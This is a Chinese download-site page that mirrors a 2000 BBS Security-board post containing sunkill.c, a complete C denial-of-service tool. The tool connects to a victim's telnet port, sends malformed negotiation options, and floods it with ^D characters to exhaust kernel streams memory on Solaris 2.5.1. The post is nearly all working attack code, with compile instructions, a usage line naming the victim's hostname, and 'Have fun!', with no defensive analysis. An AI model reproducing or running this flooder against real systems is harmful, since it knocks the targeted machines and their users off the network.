⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 334.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="335.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>

标  题: sunkill.c <br>

发信站: 武汉白云黄鹤站 (Fri Apr 21 10:54:10 2000), 站内信件 <br>

  <br>

/* <br>

 This is sunkill.c <br>

  <br>

It Affects at least solaris 2.5.1 machines, both sun4c and sun4m <br>

achitecutures.  I imagine it affects all solaris 2.5.1 machines, both sparc <br>

and x86, but im not sure.  It basically works by opening a telnet <br>

connection on the victim machine and sends a few bad telnet negotiation <br>

options, then flooods the port with lots of ^D characters.  This uses all <br>

the streams memory (i think) on the victims machine and causes the kernel <br>

to get very angry.  The machien crawls to a halt, the cursor in X stops <br>

moving, the machine is unresponsive to the network.  Its a bad situation <br>

all around. <br>

 */ <br>

/* <br>

**  To make, if your system is BSD'ish:  gcc <thisfile> <br>

**       ...if your system is SysV'ish:  gcc -lnsl -lsocket <thisfile> <br>

** <br>

**  Usage: a.out <victim's hostname> <br>

** <br>

** <br>

**  Have fun! <br>

*/ <br>

  <br>

#include <signal.h> <br>

#include <sys/types.h> <br>

#include <sys/socket.h> <br>

#include <netinet/in.h> <br>

#include <netdb.h> <br>

#include <arpa/telnet.h> <br>

#include <string.h> <br>

#include <unistd.h> <br>

  <br>

#define BUFSIZE 100 <br>

#define DOTS <br>

  <br>

void catchit(void) <br>

{ <br>

  printf("\nCaught SIGPIPE -- your link may be too slow.\n"); <br>

  exit(1); <br>

} <br>

  <br>

int main(int argc, char *argv[]) <br>



{ <br>

  unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \ <br>

  TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \ <br>

  TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO}; <br>

  <br>

  unsigned char nastybuf[BUFSIZE]; <br>

  struct sockaddr_in sin; <br>

  struct servent *sp; <br>

  struct hostent *hp; <br>

  int s; <br>

  <br>

  typedef void (*sig_t) (int); <br>

  signal(SIGPIPE,(sig_t)catchit); <br>

  <br>

  memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */ <br>

  <br>

  if (!(s = socket(AF_INET, SOCK_STREAM, 0))) { <br>

    printf("no socket\n"); <br>

    exit(1); <br>

  } <br>

  if (!(hp = gethostbyname(argv[1]))) { <br>

    printf("unknown host\n"); <br>



    exit(1); <br>

  } <br>

  <br>

  bzero(&sin,sizeof(sin)); <br>

  bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length); <br>

  sin.sin_family = AF_INET; <br>

  sp = getservbyname("telnet","tcp"); <br>

  sin.sin_port = sp->s_port; <br>

  <br>

  if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) { <br>

    printf("can't connect to host\n"); <br>

    exit(1); <br>

  } <br>

  <br>

  printf("connected to %s\n",argv[1]); <br>

  write(s,kludge_telopt,21);   /* kludge some telnet negotiation */ <br>

  <br>

  /*  "Let them eat ^Ds..." */ <br>

  <br>

  while (write(s,nastybuf,BUFSIZE) != -1) { <br>

  <br>

#ifdef DOTS <br>



  write(STDOUT_FILENO,".",1); <br>

#endif <br>

    } <br>

} <br>

-- <br>

            我问飘逝的风:来迟了? <br>

            风感慨:是的,他们已经宣战。 <br>

            我问苏醒的大地:还有希望么? <br>

            大地揉了揉眼睛:还有,还有无数代的少年。 <br>

            我问长空中的英魂:你们相信? <br>

            英魂带着笑意离去:相信,希望还在。 <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="335.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -